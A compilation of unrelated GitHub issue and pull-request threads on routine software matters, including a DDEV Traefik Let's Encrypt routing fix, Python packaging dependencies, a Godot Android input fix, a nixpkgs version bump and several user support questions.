fix: Lets Encrypt traefik formatting was broken, fixes #6486

The Issue

#6486

Regular expressions were being used for hostnames in Host() statements for Let's Encrypt, but those are wrong

We had Host(hostname1, hostname2, hostname3) when it should be Host(hostname1) || Host(hostname2) || Host(hostname3)

How This PR Solves The Issue
Previous incorrect formatting:
http:
  routers:
    d10-web-80-http:
      entrypoints:
        - http-80
      rule: Host(`^d10\.traefik\.thefays\.us$`)

and
  routers:
    d10-web-80-http:
      entrypoints:
        - http-80
      rule: Host(`^d10\.traefik\.thefays\.us$`, `^one\.traefik\.thefays\.us$`, `^two\.traefik\.thefays\.us$`)

New formatting:
  routers:
    d10-web-80-http:
      entrypoints:
        - http-80
      rule: Host(`d10.ddev.site`)

and
  routers:
    d10-web-80-http:
      entrypoints:
        - http-80
      rule: Host(`d10.ddev.site`) || Host(`one.ddev.site`) || Host(`three.ddev.site`) || Host(`two.ddev.site`)

Manual Testing Instructions

[x] Set up Let's Encrypt on a project and get it to work
[x] Make it work with additional_hostnames
[x] Make it work with additional_fqdns

Automated Testing Overview

Release/Deployment Notes

Tested with additional_hostnames and additional_fqdns and it worked with both.

I am now running this on my own little server for my little sites. I did have some trouble with it. There was no change to the basic config (it was previously running the nginx-proxy setup supported for years).
However, I had trouble with the naming of the sites, because the traefik/let's encrypt setup refuses all requests for invalid hostnames (hostnames that cannot be looked up in DNS).  The previous setup just ignored things like that apparently, but now everything is rejected if one thing breaks. Previously you could just add the key hostname to additional_fqdns and you'd be on your way, but no more.
I had to do some slightly awkward things to get it to show only the key hostnames in the Let's Encrypt, these will need to be mentioned in the doc:
Before doing anything else: ddev snapshot -a so you have all your databases. I had to change the name of two projects.
In each of these I have a .ddev/config.prod.yaml that overrides settings for prod, the results are below:
On a project named hobobiker I had to do this:
project_tld: com
additional_hostnames:
- hobobiker
- www.hobobiker

helminvest
project_tld: com
additional_hostnames:
  - www.helminvest
  - helminvest

montclair == montclairdrive.org
name: montclairdrive
project_tld: org
additional_hostnames:
- www.montclairdrive
- ```

**randyfay == randyfay.com**

project_tld: com
additional_hostnames:

randyfay
www.randyfay

**stories == stories.grandcountyhistory.org**
On this one I had to change the `name` of the project, which meant that I then had to restore the database afterward, since it's keyed to the name.

project_tld: grandcountyhistory.org
name: stories

I updated the docs to cover the unexpected Let's Encrypt issues, https://ddev--6494.org.readthedocs.build/en/6494/users/topics/hosting/


Print like an "it" block in interactive mode

Cool plugin!  I'm coming from playwright and miss its individual test steps.  They're a great way to organize tests without having to declare a completely separate test.
Is it possible to output the step at the top level of the spec viewer in interactive mode?
Here's a screenshot of what I mean:

I'm not sure if this is possible, but if so it'd be nice.

this would be quite hard. Cypress folds each test after it runs, and hides all command. I would need to somehow interfere with this. plus, at the time cy.step() is called, there’s no way for me to know whether that step is successful or not. I would need to add additional logic to it, that would add a ✅  or ❌  to every step.
I theory, I think it could be done, with a looot of hacking, but this is just a hobby project and I don’t think the time investment is worth it.


Bug Report: Upgrading a mod

I'm upgrading my mod, and i was sure there is gonna be some troubles, but, i can't even put my charts
there is and error that lua doesn't find the json files of the song, when i put them in the folder, the level doesnt start, i can't even pause the game, and i try to make the charts again but, when i load the song, still searchin for those files that i want to create again, and it crashed
it's so awfull that everything looks so messed up, my mod was made at 1.6 ke version, and i cant find any tutorial to make it at the 1.8
it looks like a new engine, cuz everithing is not compatible with the stuff i've made;

if you have gotten any farther let me know, upgraded and i managed to load into the game with less than quality results, like how nothing in update gets called meaning im stuck


Add metadata and license

Adds license_file metadata and additional metadata for the project

Codecov Report

Merging #8 into master will decrease coverage by 0.58%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master       #8      +/-   ##
==========================================
- Coverage   72.65%   72.07%   -0.59%
==========================================
  Files           7        7
  Lines         512      512
==========================================
- Hits          372      369       -3
- Misses        140      143       +3

Hi @bryanwweber, thanks for this pull request. Why are you removing porespy dependency though? It is necessary for examples

Hi @TomTranter! Indeed, but the current state is a circular dependency between pytrax and PoreSpy (i.e., PoreSpy depends on having a pytrax package, and vice versa). I'm working with @ma-sadeghi to build conda packages for OpenPNM, PoreSpy and pytrax and to do that there can't be any circular dependencies. If PoreSpy is necessary to run the example, users will need to install that themselves, rather than requiring it in setup.py.

I was planning to make notebooks for the examples anyway so I could maybe add an install line into those if the user hasn't got porespy

IMO it would be better to do something like:
try:
    import porespy as ps
except ImportError:
    print("PoreSpy must be installed for the examples. Use pip or conda to install it")
    raise

That way, people who don't have administrator permissions don't get a strange error from trying to install PoreSpy and the actual cause of the problem is identified. Also, some people will want to use pip, others conda, others build from source, etc.

@bryanwweber good suggestion. Is this good to be merged in now? I will create a separate branch to update examples afterwards

@TomTranter Yes, it's good from my end. BTW, thanks for considering this! I didn't include any explanation in the first comment, just kind of dropped it on your head. I had assumed that your group would know what I was doing, it seems that was my mistake! Sorry for the missing explanation :smile:

@bryanwweber no worries, I'm not physically in Jeff's group anymore so everyone else probably knows what you're up to

Sorry @TomTranter and @bryanwweber, my bad. I forgot to let Tom know what we were up to.
@TomTranter, we want to include Cantera as an OpenPNM dependency for mixtures, but since Cantera is not pip-installable yet, @bryanwweber offered to help us develop conda packages for our libraries so we can safely list Cantera as a dependency.


Fix Protoss Natural Wall in NightshadeLE

According to this commit message, this bug is fixed.

fix to nightshade map wall

-> Close issue?

Natural wall, which I fixed


error on AutoMirgrate

Explain your user case and expected results
error on AutoMirgrate. related to https://github.com/go-gorm/gorm/issues/5702

Problem sovled. thanks


Fix Return key events in LineEdit & TextEdit on Android

Fixes #37793, fixes #40262
There's a separate PR for 3.2: #40469
Depending on the device implementation, editor actions could be received with different action ids or not at all for multi-line.
Added a parameter to virtual keyboards to properly handle single-line and multi-line cases in all situations.
Single-line:
Input type set to text without multiline to make sure actions are sent.
IME options are set to DONE action to force action id consistency.
Multi-line:
Input type set to text and multiline to make sure enter triggers new lines.
Actions are disabled by the multiline flag, so '\n' characters are handled in text changed callbacks.
Tested on Samsung Galaxy Note 5

I'm not sure what happened with the github checks. Maybe a problem with the regenerated method_bind.gen.inc?

I've also made a change in make_binders.py to support 6 arguments in ClassDB::bind_method. This will modify core/method_bind.gen.inc.

That's not a good idea. Use method_bind_ext.gen.inc instead which is designed for this purpose.

I've also made a change in make_binders.py to support 6 arguments in ClassDB::bind_method. This will modify core/method_bind.gen.inc.

That's not a good idea. Use method_bind_ext.gen.inc instead which is designed for this purpose.

PR updated to include method_bind_ext.gen.inc instead of changing the maximum number of arguments in method_bind.gen.inc.

Needs a rebase after iphone fixes.

@akien-mga Rebase done, but it seems the AppVeyor build is broken right now.

AppVeyor should be disabled but there was a quirk. Can you force push to retry? I configured it to only build the 2.1, 3.0 and 3.1 branches.

Yes it worked fine after force push!

Thanks!


same possible for the Mail Protocol?

As more and more Mail Clients also Support SNI when talking to the MailServer
i thought it would be nice to got the same for the Mail Part of Nginx/Reverse Proxy.
I got a test setup, and the https part works perfectly.
Simply doing this part in the Mail Section of the Config:
ssl_certificate_by_lua_block {
auto_ssl:ssl_certificate()
}
gives a
nginx: [emerg] "ssl_certificate_by_lua_block" directive is not allowed here in /usr/local/openresty/nginx/conf/nginx.conf:92
back.
is it in anyway possible to use the same mechanics to be able to present the mail client the right certificate?

Currently, I don't think will be possible at our layer, since we'd need support for this from OpenResty.
I'm not sure about direct integration into nginx's mail configuration, but one possibility that might be on the horizon would be integrating this with nginx's stream config, where ssl_certificate_by_lua integration is on the TODO list. Once this was implemented, then I think you could achieve mail support by putting an nginx stream proxy in front of your mail server (since streams are just a generic TCP proxy, so I think it should proxy to a mail server without issue).
However, I'm not sure when ssl_certificate_by_lua within stream might be implemented (or if they're looking for the community to submit a pull request with that functionality). You might try the openresty-en mailing list to discuss further.

I'm going to go ahead and close this, since there's not much we can do about it now. But if stream gains support for ssl_certificate_by_lua, we can revisit.

Hallo @GUI
i think now it should be possible?
i've tried it really hard - but no success with stream and resty-auto-ssl
as far i know ssl_certificate_by_lua know works with stream.
guess i am just to stupid.
should i create a new issue?


Jenkins CI: Find latest libsonata-report version

Description
spack location --latest was not finding the latest installed libsonata-report version.
In order to fix this issue now we force to find versions > 1.0
Use certain branches for the SimulationStack CI
CI_BRANCHES:NEURON_BRANCH=master,

The build:neuron:gpu failure in the GitLab CI will be fixed/avoided by https://github.com/BlueBrain/CoreNeuron/pull/553. We should probably just ignore that failure for this PR.


Add keras pre processing layers

Issue Description
Various keras pre processing layers are currently missing from import. These include the computer vision layer such as Rescale and Resize as well as other methods of pre processing.
Please describe our issue, along with:

expected behavior
encountered behavior

Version Information
Please indicate relevant versions, including, if relevant:

Deeplearning4j version
Platform information (OS, etc)
CUDA version, if used
NVIDIA driver version, if in use

Additional Information
Where applicable, please also provide:

Full log or exception stack trace (ideally in a Gist: gist.github.com)
pom.xml file or similar (also in a Gist)

Contributing
If you'd like to help us fix the issue by contributing some code, but would
like guidance or help in doing so, please mention it!

I think I have the same problem.
If I am using layers.experimental.preprocessing.Rescaling in a model in python and use the saved h5 model in java I get the error
org.deeplearning4j.nn.modelimport.keras.exceptions.UnsupportedKerasConfigurationException: Unsupported keras layer type Rescaling.

@agibsonccc I realize that this issue is probably not meant to be handled by a new contributor, but if you give me any guidance on that, I would love work on it.

any progress on this?

Not yet but you can use a lambda layer to match the functionality as a workaround. Unfortunately other features took priority (mainly tf/onnx import) depending on your use case you may be able to save a graph as .pb and have it work. Happy to help support.


Fix tolerance for null or undefined values

Re-pull of #1035

Was this causing an actual issue? (Thinking in terms of if we can add a test for this somehow..)

I did this a while ago but yes I believe it was causing the directive to break. I think a test would just need to give a null/undefined value for the model.

@homerjam can you add one and then I can merge in? It's best for them to be part of the same commit, ideally.

Sure. I'll definitely give it a go

@homerjam just to confirm, these test fail without your change right?

Those tests currently pass without the changeset from the PR.

Ah yes I meant to to say. I think this fix may have been to make sure the
placeholder text appeared on a null/undefined value (or something like
that, have been meaning to check). I can't recall now unfortunately. Would
seem its unnecessary now though.
On 6 Apr 2016 5:35 p.m., "Wesley Cho"<EMAIL_ADDRESS>wrote:

Those tests currently pass without the changeset from the PR.
—
You are receiving this because you were mentioned.
Reply to this email directly or view it on GitHub
https://github.com/angular-ui/ui-select/pull/1529#issuecomment-206453911

Will close for now, it looks a bit silly admittedly but there's no need to introduce unnecessary change at the risk of breaking something else. Maybe that section will refactored at some point in the future, anyway.
If anyone finds a need for this change please update with details and we can look at reopening this.


Automatic versioning

[ ] Finish _others/tallui-monorepo-tools/changelogger.php
[ ] Remove changelog action as read-Only repos should not be changed
[ ] Semver - versioning how to
[ ] Use https://github.com/actions/create-release
[ ] See https://github.blog/2021-10-04-beta-github-releases-improving-release-experience/
[ ] See https://stefanzweifel.io/posts/2021/11/13/introducing-the-changelog-updater-action

This will be managed as a project ...


Improve examples

The following points have been raised when the tool was being presented:

The examples could be more accessible

We need to document what needs improving before this issue can be worked on

I think it would benefit from some more real world kind of use cases, for example the graphql responses used are not actual GQL response structures but mocked to provide an example of timing differences.
It would be good to provide step by step introductions to common use cases like:

Mock a request in nodejs test
Mock a request in jest
Mock a request in jest for a React component

and similar common scenarios we expect.

Examples in readme should include imports

I added this PR #73 which i think is a good MVP of a full example showing how to mock a request, use that mockedRequest object in a test suite and logging the mocked data from the src file.

Hi Howard! I have only just now seen this as well as your PR - I don't seem to get notifications anymore now that I'm not in the trayio organization.
Could you please outline further what examples you would like to have and how you would expect them to look like? I'm asking as I'm all for more examples but I'm not clear yet on the proposed structure in PR #73. Also, what do you mean by "nodejs test" - jest runs already on nodejs. It would be nice though having a mocha example which shows how cleanUpNetworkRequestMocking() etc. has to be called in the start-up phase.
In the readme we write:

For detailed examples on how to use each of these, check out our extensive suite of tests.

Perhaps we could instead link to specific tests in the readme? And make it clear where the start-up phase is happening and how it's done?

☝ @aychtang as you might have not gotten a notification due to me not mentioning the GitHub name :)

Oh, hey @rickschubert - hope you've been well! Think if you watch the repo you will get notifications for these PR messages.
Was just a quick list I typed, not meant to be exhaustive, but basically the idea is like there should be "use case examples" for testing from say a file using stdlib of nodejs, one for express, one for react etc. I'm actually starting to think that these should live as totally separate repos which are linked to from the README, as they will have devdependencies which are not really related to mock-inspect and I don't like the idea of passing those dependency requirements on to users of mock-inspect.
So we should move that PR to mock-inspect-example-nodejs and add mock-inspect-example-react and stuff like that as we go, what do you think @rickschubert @thomaschaplin?

I don't think this should live inside the mock-inspect repo as you've said @aychtang.
@aychtang suggested about using VS Code Tours - https://marketplace.visualstudio.com/items?itemName=vsls-contrib.codetour


Any suggestion to export onnx model?

Hi, this work is an interesting work. Is there any suggetion to export onnx model? It is like that this is a nontrivial work.

Sorry I am not familiar with this.

OK, still thank you for your reply! @Abyssaledge


Module Readmes - Reevaluate how to provide better predictability on outputs

Description
When consuming a module in a solution, there is no way to tell what to expect of the output of a module. This should be detailed in such a way that it shows example values, and for object/arrays there should be an example of the data structure that is returned.
We also need to discuss if there should be arrays or not. Is there a situation where the order of an array would change for any of the returned arrays? If yes, then we should change that to drive consistency for solutions using our modules.
Things that come to mind:
Virtual Networks - Create Or Update - REST API (Azure Virtual Networks) | Microsoft Docs
Microsoft.Network/virtualNetworks - Actions | GitHub (Azure/ResourceModules)

So we still want to do this - given the eventual implementation of the 'azurerm'-resource output?


[Snyk] Upgrade react-router-dom from 6.20.0 to 6.22.0

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade react-router-dom from 6.20.0 to 6.22.0.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 15 versions ahead of your current version.
The recommended version was released a month ago, on 2024-02-01.

Release notes

Package name: react-router-dom

6.22.0 -<EMAIL_ADDRESS>

6.22.0-pre.0 - 2024-01-31

6.21.3 - 2024-01-18

6.21.3-pre.0 - 2024-01-16

6.21.2 - 2024-01-11

6.21.2-pre.0 - 2024-01-09

6.21.1 - 2023-12-21

6.21.1-pre.0 - 2023-12-21

6.21.0 - 2023-12-13

6.21.0-pre.3 - 2023-12-06

6.21.0-pre.2 - 2023-12-05

6.21.0-pre.1 - 2023-12-05

6.21.0-pre.0 - 2023-12-05

6.20.1 - 2023-12-01

6.20.1-pre.0 - 2023-12-01

6.20.0 - 2023-11-22

    from react-router-dom GitHub release notes

Commit messages

Package name: react-router-dom

3a66719 chore: Update version for release (#11242)
10f9042 Exit prerelease mode
cd2daef Update changelog
a7baca2 Update link to CWV report
109fb7d chore: Update version for release (pre) (#11238)
8e931b4 Enter prerelease mode
cecc9ce Merge branch 'main' into release-next
f5f7511 Add a window var for CWV Tech Report to look for (#11222)
add6f8a Respect the ErrorResponse status code if passed to getStaticContextFormError (#11213)
c9f8a7b Add future flag to throw request.signal.reason for aborted requests (#11104)
fdadc70 Update RR version for useBlocker example
b083600 Add note about useBlocker/usePrompt to v5 migration guide
462bb71 Add SSR notes on renderToString versus renderToPipeableStream
fb0f1f9 fix up some PR links in the changelog
cc40394 Merge branch 'release-next' into dev
ee02f5d Merge branch 'release-next'
44b391a chore: Update version for release (#11203)
82c4843 Exit prerelease mode
1551285 Change release date
8fc701a Prep release notes
b4bf927 chore: Update version for release (pre) (#11196)
84e5fb9 Enter prerelease mode
858f6f1 Merge branch 'main' into release-next
b541b8d Fix NavLink isPending with a basename (#11195)

Compare

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

LGTM


rename a container

Hi, I'm a newcomer around lazygit. I want to know, is there a way to rename a running container name?
I tried setting the custom command, but I have no idea how to read the new name in the panel.

I believe lazydocker doesn't have prompts when it comes to custom commands, unlike lazygit.
@jesseduffield are there plans of porting and is it okay to port or are there plans that could interfere?

Thanks, it's good idea to support popup prompt panel in the future. Now I could rename each container through docker CLI, or directly use docker-compose to distinguish them


dependency_collector: Install tools only if needed [Linux]

Install bzip2, unzip, and xz if they're not provided by the host.

Codecov Report

Merging #618 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master    #618   +/-   ##
======================================
  Coverage    68.9%   68.9%
======================================
  Files         377     377
  Lines       20352   20352
======================================
  Hits        14024   14024
  Misses       6328    6328

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 7569e97...84c49c9. Read the comment docs.


⚠ Site ANTS has degraded performance

In e9928f9, Site ANTS (https://ants.gouv.fr) experienced degraded performance:

HTTP code: 200
Response time: 4879 ms

Resolved: Site ANTS performance has improved in 74bc283.


Add files via upload

Type of change

[ ] Add new papers (Please tell us why you think this paper is awesome!)
[ ] Fix the category of an existing paper/papers (Please tell us the reasons)
[x] Add a new tool/primitive/application with a new markdown page (Thank you! Also, please tell us more about this awesome thing!)

Description

Please include a summary of the change and the relevant motivation.
OSCP任务：在 SecretFlow 中实现垂直联邦后门攻击 Villain
#997

I have read the CLA Document and I hereby sign the CLA

recheck


Add a Gitter chat badge to README.md

HIPERFIT/recipes now has a Chat Room on Gitter
@oleks has just created a chat room. You can visit it here: https://gitter.im/HIPERFIT/recipes.
This pull-request adds this badge to your README.md:

If my aim is a little off, please let me know.
Happy chatting.
PS: Click here if you would prefer not to receive automatic pull-requests from Gitter in future.

Let's wait and see if this becomes relevant.


local images not showing

So I put my images in the following directory
home/pi/Pictures/Joy, and use the following code:
source: "local:</home/pi/Pictures/Joy>"
but the image was not showing at all.
The images were all JPG format.
Is there anything wrong?
Thanks

You shouldn't actually include <> characters in the source.  Use source: "local:/home/pi/Pictures/Joy"

Awesome, thanks for your help. Worked now.


Support for NULL value

Currently there is no way to pass null as parameters in any method. I know I can specify in the query the NULL value as a raw string, but I need the ability to create generic insert method for example, an pass in a Map, if a value is null, it should be converted

Passing null parameters should work and is tested:
https://github.com/simolus3/sqlite3.dart/blob/6e6e0b305bd20836640371b3afc3d9e05af37092/sqlite3/test/common/prepared_statement.dart#L99-L101
You can pass a List containing null to all methods accepting parameters.


Methotrexate guidance changed in BNF

The MTX guidance in the BNF has now changed, and makes no mention of the 2.5mg prescribing (or in fact single formulation at all.)  @brianmackenna and I will need to have a conversation about this measure's wording
https://github.com/ebmdatalab/openprescribing/blob/main/openprescribing/measure_definitions/methotrexate.json

It appears it has reverted and now includes this guidance again. Nice spot @richiecroker


rdma-core: 26.1 -> 27.0

Semi-automatic update generated by https://github.com/ryantm/nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/rdma-core/versions.
meta.description for rdma-core is: '"RDMA Core Userspace Libraries and Daemons"'.
meta.homepage for rdma-core is: '"https://github.com/linux-rdma/rdma-core"
Release on GitHub
Compare changes on GitHub

Checks done (click to expand)

built on NixOS

The tests defined in passthru.tests, if any, passed

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

found 27.0 with grep in /nix/store/nhq6ha47nn7lcl9pac9fkgy3lqzypxhm-rdma-core-27.0

directory tree listing: https://gist.github.com/b2af4fc52a8c958b3170bcfb96fe6316

du listing: https://gist.github.com/67c9889ff57c249b0bfb7fbbaac4bad9

Rebuild report (if merged into master) (click to expand)

250 total rebuild path(s)
106 package rebuild(s)
94 x86_64-linux rebuild(s)
75 i686-linux rebuild(s)
0 x86_64-darwin rebuild(s)
81 aarch64-linux rebuild(s)
First fifty rebuilds by attrpath
bareos
ceph
ceph-client
ceph-dev
cntk
dl-poly-classic-mpi
ethash
ethminer
freecad
getdp
globalarrays
gromacsDoubleMpi
gromacsMpi
haskellPackages.haskell-mpi
hdf5-mpi
hpl
ior
lammps-mpi
libceph
libtensorflow
migrate
netcdf-mpi
neuron-full
neuron-mpi
openmolcas
openmpi
opensm
parmetis
python27Packages.baselines
python27Packages.cntk
python27Packages.dm-sonnet
python27Packages.edward
python27Packages.fipy
python27Packages.graph_nets
python27Packages.h5py-mpi
python27Packages.mpi4py
python27Packages.neuron-mpi
python27Packages.tensorflow
python27Packages.tensorflow-build
python27Packages.tensorflow-probability
python27Packages.tensorflowWithCuda
python27Packages.tensorflowWithoutCuda
python27Packages.tflearn
python37Packages.arviz
python37Packages.baselines
python37Packages.cntk
python37Packages.dask-jobqueue
python37Packages.dask-ml
python37Packages.dask-mpi
python37Packages.dask-xgboost

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/nhq6ha47nn7lcl9pac9fkgy3lqzypxhm-rdma-core-27.0 \
  --option binary-caches 'https://cache.nixos.org/ https://r-ryantm.cachix.org/' \
  --option trusted-public-keys '
  r-ryantm.cachix.org-1:gkUbLkouDAyvBdpBX0JOdIiD2/DP1ldF3Z3Y6Gqcc4c=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(r-ryantm's Cachix cache is only trusted for this store-path realization.)
Or, build yourself:
nix-build -A rdma-core https://github.com/r-ryantm/nixpkgs/archive/3923fbd34b96acfa0ae32a06f111224e0a1ff618.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/nhq6ha47nn7lcl9pac9fkgy3lqzypxhm-rdma-core-27.0
ls -la /nix/store/nhq6ha47nn7lcl9pac9fkgy3lqzypxhm-rdma-core-27.0/bin

cc @markuskowa for testing.


File icon for reference time series file

This icon will be for files with extension .refts.

This has been implemented. So closing.


Replacing checkbox with Mantine's Switch in DataTable selection

Hi,
I am working on implementing row selection in a Mantine DataTable and would like to replace the default checkboxes with Mantine's Switch component.
I reviewed the documentation but couldn't find a clear approach for this. One idea I had is to use CSS to hide the checkbox column and display only the column with Switch components. However, I’m wondering if there's a simpler or more efficient way to achieve this.

Any guidance or suggestions would be greatly appreciated.
Thank you!
Miroslava

The embedded Mantine DataTable selection mechanism relies on the Mantine Checkbox's indeterminate state property.
I suggest you to implement your own solution to handle selection and I think you're on the right track.
There's no need to use CSS to hide the checkbox columns, however.
The best way to do this would be to simply handle selection state outside the component and use custom cells rendering switches to display and alter it.


Deep Speed Optimizer index out of range during Training

Hi I am trying to fine tune my llama model using DeepSpeed, accelerate and SFTTrainer along with QLORA. I have already pretrained my LLama model.
During the pretraining, I used DeepSpeed and Peft as well with no problem.
However now I am loading my base model and the PEFT adapter and try to fine tune my model I get this error:
self.dtype = self.optimizer.param_groups[0]['params'][0].dtype
IndexError: list index out of range.

I loaded the my adaptor into my base model as follows:
 adapter_path = "path"  # Update with your adapter path
 model = PeftModel.from_pretrained(model, adapter_path)

I have 2 A100 GPUs and I am using quantized llama models.
The DeepSpeed configuration is the same between pretrained and fine tune model, and I am not passing any optimizer to the config, they are all default.
I searched in the internet and could not find any related info on this error.
Does anyone what this error is referring to and how to fix it?

Hi! In my case, I discovered that I had frozen all parameters in my model, which led to the error.


Fix build for not WSA platforms

Overview
Using UnityEngine.Windows.Speech namespace prevents build for other platforms than UWP (e.g. iOS).
Platform dependent compilation is used in other places in code, e.g. HoloToolkit.UI.Keyboard.Keyboard
But it is missed in HoloToolkit.Unity.Buttons.CompoundButtonSpeech that prevents build for ios.

@DDReaper was this because of the namespace refactor?

@StephenHodgson Looks like this is going into master, so unrelated to the refactor. We should probably take this in Stabilization?

Stabilization branch should build to other platforms just fine. I tested it before making it.

If anything, this class needs to use the ISpeechHandler.

Which platforms did you try? This PR calls out iOS specifically, but I'd imagine a Windows namespace would fail to build on any non-Windows platform.

yeah, the appropriate fix is for the class to use the speech input handler.

Ahh maybe that stuff needs to get removed then.  There's no reason to have it.  The source should handle the confidence level and such.

@keveleigh doesn't build for Android either

Also doesn't build for webGL.  Should we support that as well?

@GAnatoliy even with this change, we have a dependency on glTF which also has issues compiling for iOS..

Any reason this change is just removing references and not holding them behind a precompiler flag?
I agree however, if MRTK is to support projects built for other platforms, it will need a much wider review than the changes here.

@DDReaper it looks like the references were left over from a conversion from the MRDL to the Toolkit's ISpeechHandler. Of course, now it isn't clear where (if at all) the keyword from the button's text is actually being registered on a recognizer, so I think this might be broken anyway.


[GOBBLIN-221] Add JsonRecordAvroSchemaToAvroConverter and BytesToJsonConverter

Dear Gobblin maintainers,
Please accept this PR. I understand that it will not be reviewed until I have checked off all the steps below!
JIRA

[x] My PR addresses the following Gobblin JIRA issues and references them in the PR title. For example, "[GOBBLIN-XXX] My Gobblin PR"

https://issues.apache.org/jira/browse/GOBBLIN-221

Description

[x] Here are some details about my PR, including screenshots (if applicable):

Add converter for converting Json record to Avro record given Avro schema
Add converter for converting byte array to JsonObject
Tests

[x] My PR adds the following unit tests OR does not need testing for this extremely good reason:

Added unit tests for both converters
Commits

[x] My commits all reference JIRA issues in their subject lines, and I have squashed multiple commits if they address the same issue. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

@abti please review


Makefile: Drop find-godeps.sh for bin/crio target and make it .PHONY

The script is from 95846211 (#410), but:

Make expands prerequisites immediately when loading a Makefile, and on my wimpy Chromebook SD Card, this is slow:
$ time hack/find-godeps.sh ~/.local/lib/go/src/github.com/kubernetes-incubator/cri-o cmd/crio github.com/kubernetes-incubator/cri-o
...
real    0m19.239s
user    0m16.774s
sys     0m7.122s

Go is pretty good at this on its own, so having make call go build every time will almost certainly be faster than us trying to mimic this in a shell script.  And by punting to Go in the recipe, Make invocations that do not need the podman target (e.g. make help) can skip the dependency lookup entirely.

The downside to this is that rebuilds mean we'll also force rebuilds in downstream targets, even when none of the dependencies have changed.  But the only downstream dependencies are:

crio.conf, which is a fast rebuild (much faster than the find-godeps.sh I'm removing).

binaries, which is in turn a dependency of localintegration and other targets.  Rebuild-avoidance might be useful, but bin/conmon (another binaries dependency) is already .PHONY, so binaries dependencies will need to be rebuilt every time regardless of how we handle bin/crio.

This pull request is the CRI-O port of projectatomic/libpod#776.

LGTM


style: Re-enable the require-jsdoc eslint rule

Default values of require-jsdoc in https://eslint.org/docs/rules/require-jsdoc
Closes https://github.com/shaka-project/shaka-player/issues/2639

Actually, wait, no. I don't think that's what that issue meant.
I think it was referring to this:
https://github.com/shaka-project/shaka-player/blob/f86e7208eed2180b9941c058b4104f1809404943/.eslintrc.js#L81-L84
Which means the issue was actually solved by https://github.com/shaka-project/shaka-player/commit/562a2d567b4c11a2fdd94e34b1ba3df751d0aeda, and we just forgot to close it!


Implement a documentation generation tool

Should we implement a doc gen tool like SassDoc so that we can just the documentation generated from the Sass we write, rather than having to rewrite it all????

This sounds fantastic

this has been done


Blacklist categories are not sorted and incomplet

Using blacklist from UT1, categories available are not sorted and incomplet. After selecting categories new ones are added

I updated to 16.1.7 categories are sorted but still truncated (only 10 in the drop list)

@gitdevmod It's either the browser cache or the remote list not being updated afterwards... worst case, try downloading again / readding the list

After cleaning the browser cache, it works as expected thanks :+1:

Whew, cool. Thank you for testing. :)


Exclude modes?

Hi,
I'm trying to replace my modalka config because I find the extensions you've added on top if it really excellent. One thing I haven't found is auto-exclusion from certain modes - like the modalka-excluded-modes. Is there a way to achieve this? i.e. whenever I switch to org-agenda ryo is disabled (if it wasn't already).
Thank you!

Hi! Not at the moment, no. I'm not sure how that works in modalka, but I'll look into it. I personally do it the other way around: I add ryo-modal-mode to the major-mode hooks where I want it active.

Modalka has a globalized minor mode, and ryo does not. You'll have to actively activate ryo in some way (like in a hook, or by pressing a key). How do you activate ryo at the moment, and how would you like it to work?
Currently ryo  is enabled/disabled per buffer basis, so if you switch to org-agenda ryo should be off, and then when you switch back it should be on/off depending on the state in which you left that buffer.

Sorry I was on sabbatical at that time and didn't get back to ryo until now.
Understood - I switched to explicitely activating ryo (essentially everywhere :)) and it seems to work fine.
Thank you!
PS: same for https://github.com/Kungsgeten/ryo-modal/issues/6 (both issues can be closed)


ModuleNotFoundError: No module named 'mglib'

Newest papermerge release version 2.0.0rc48 does not properly run, because a Python packge called mglib is missing.
The cause might be some modifications of /requirements/base.txt

Logs:
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/dist-packages/django/core/management/__init__.py", line 224, in fetch_command
    app_name = commands[subcommand]
KeyError: 'worker'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "./manage.py", line 24, in <module>
    execute_from_command_line(sys.argv)
  File "/usr/local/lib/python3.8/dist-packages/django/core/management/__init__.py", line 401, in execute_from_command_line
    utility.execute()
  File "/usr/local/lib/python3.8/dist-packages/django/core/management/__init__.py", line 395, in execute
    self.fetch_command(subcommand).run_from_argv(self.argv)
  File "/usr/local/lib/python3.8/dist-packages/django/core/management/__init__.py", line 231, in fetch_command
    settings.INSTALLED_APPS
  File "/usr/local/lib/python3.8/dist-packages/django/conf/__init__.py", line 82, in __getattr__
    self._setup(name)
  File "/usr/local/lib/python3.8/dist-packages/django/conf/__init__.py", line 69, in _setup
    self._wrapped = Settings(settings_module)
  File "/usr/local/lib/python3.8/dist-packages/django/conf/__init__.py", line 170, in __init__
    mod = importlib.import_module(self.SETTINGS_MODULE)
  File "/usr/lib/python3.8/importlib/__init__.py", line 127, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)

  File "<frozen importlib._bootstrap>", line 1014, in _gcd_import
  File "<frozen importlib._bootstrap>", line 991, in _find_and_load
  File "<frozen importlib._bootstrap>", line 975, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 671, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 783, in exec_module
  File "<frozen importlib._bootstrap>", line 219, in _call_with_frames_removed
  File "/app/papermerge/config/settings/production.py", line 1, in <module>
    from .base import *  # noqa
  File "/app/papermerge/config/settings/base.py", line 4, in <module>
    from mglib.utils import try_load_config

Manually installing mglib yields
ModuleNotFoundError: No module named 'rest_framework'

Guess various packages are currently not installed and missing.

